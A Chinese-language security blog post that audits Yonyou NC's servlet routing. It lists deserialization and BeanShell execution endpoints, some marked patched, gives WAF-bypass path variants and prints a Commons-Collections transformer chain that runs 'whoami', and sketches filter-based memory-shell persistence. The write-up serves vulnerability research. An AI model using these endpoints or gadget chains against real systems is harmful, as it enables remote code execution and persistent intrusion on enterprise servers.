用友NC审计笔记

前言

最近挖了不少东西,很多不能写hh
用友的比较水写一下,有缘人看着玩吧

路由分析

用友的路由处理逻辑在web.xml中,/servlet和/service开头的都路由到nc.bs.framework.server.InvokerServlet中。

1
2
3
4
5
6
7
8
9
<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/service/*</url-pattern>
</servlet-mapping>

<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>

nc.bs.framework.server.InvokerServlet的doAction处理路由逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String pathInfo = request.getPathInfo();
log.debug("Before Invoke: " + pathInfo);
long requestTime = System.currentTimeMillis();

try {
pathInfo = pathInfo.trim();
String moduleName = null;
String serviceName = null;
int beginIndex;
if(pathInfo.startsWith("/~")) {
moduleName = pathInfo.substring(2);
beginIndex = moduleName.indexOf("/");
if(beginIndex >= 0) {
serviceName = moduleName.substring(beginIndex);
if(beginIndex > 0) {
moduleName = moduleName.substring(0, beginIndex);
} else {
moduleName = null;
}
} else {
moduleName = null;
serviceName = pathInfo;
}
} else {
serviceName = pathInfo;
}

String method;
obj = this.getServiceObject(moduleName, serviceName);

if(obj instanceof Servlet) {
Logger.init(obj.getClass());

try {
if(obj instanceof GenericServlet) {
((GenericServlet)obj).init();
}

this.preRemoteProcess();
((Servlet)obj).service(request, response);
this.postRemoteProcess();
...
} else if(obj instanceof IHttpServletAdaptor) {
IHttpServletAdaptor msg = (IHttpServletAdaptor)obj;
this.preRemoteProcess();
msg.doAction(request, response);
this.postRemoteProcess();

获得pathinfo后,截取/~后的字符串,/分割为moduleName和serviceName,然后getServiceObject(moduleName, serviceName)实现任意Servlet调用。

这里有几种写法都能路由到同一servlet,可以用来绕waf。

1
2
3
/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
/servlet/~ic/MonitorServlet
/servlet/monitorservlet

sink挖掘

MonitorServlet - Patched - 2020hw

-w611

/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
裸的反序列化,post序列化字节码即可

FileReceiveServlet - Patched - 2020.11

-w626

/servlet/~uapss/com.yonyou.ante.servlet.FileReceiveServlet
裸的反序列化,可以直接反序列化,也可以控制path和filename实现任意文件写。

ServiceDispatcherServlet - Patched - 2020.09

这个洞路由不太一样,走的web.xml中的路由

1
2
3
4
<servlet-mapping>
<servlet-name>CommonServletDispatcher</servlet-name>
<url-pattern>/ServiceDispatcherServlet/*</url-pattern>
</servlet-mapping>

-w645

分析:https://xz.aliyun.com/t/8242

网上的分析都没太分析到点子上。分析文章只分析了客户端把jndi address序列化发送的部分,上图是服务端对客户端发送的消息进行的处理。

XbrlPersistenceServlet - Patched - 2021hw

-w681

/servlet/~uapxbrl/uap.xbrl.persistenceImpl.XbrlPersistenceServlet
一样的readObject

BshServlet - Patched - 2021.06

/servlet/~ic/bsh.servlet.BshServlet
ecology之前也有的一个洞,bshservlet能被直接路由到,bsh直接能执行任意语句

FileParserServlet - Patched - 2021.04

-w401

/servlet/~uapss/nc.search.file.parser.FileParserServlet
一样的反序列化,但是网上没有公开过这个洞,从补丁里看到的。

MxServlet -

-w461

/servlet/~ic/nc.bs.framework.mx.MxServlet

ActionHandlerServlet -

-w1028

/servlet/~ic/com.ufida.zior.console.ActionHandlerServlet
gzip解压然后反序列化

DownloadServlet/UploadServlet/DeleteServlet -

-w584

/servlet/ic/nc.document.pub.fileSystem.servlet.DownloadServlet
/servlet/
ic/nc.document.pub.fileSystem.servlet.UploadServlet
/servlet/~ic/nc.document.pub.fileSystem.servlet.DeleteServlet

都是一样的反序列化,这里UploadServlet可以直接把错误结果写到了回显中,因此可以报错回显。

回显/内存马思路

查了一下,有人说用友nc默认ban了templateImpl和bcel等,但是我没看到有重写的resolveClass等方法,这里按照不能用这两个方法进行回显构造。这种方式依赖modules\bqrtdbd\lib\js-14.jar

1
2
3
4
5
6
7
8
9
//DefiningClassLoader.class.newInstance().defineClass("Evil",bs).getDeclaredConstructor(String.class).newInstance("whoami");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"Evil", data}),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{
new Object[]{"whoami"}})
};

用友NC的jdk是7u51,中间件是embed-tomcat,内存马直接加filter,回显获得HttpServletRequest然后正常回显即可。

Proudly powered by Hexo and Theme by Hacker
© 2021 LFY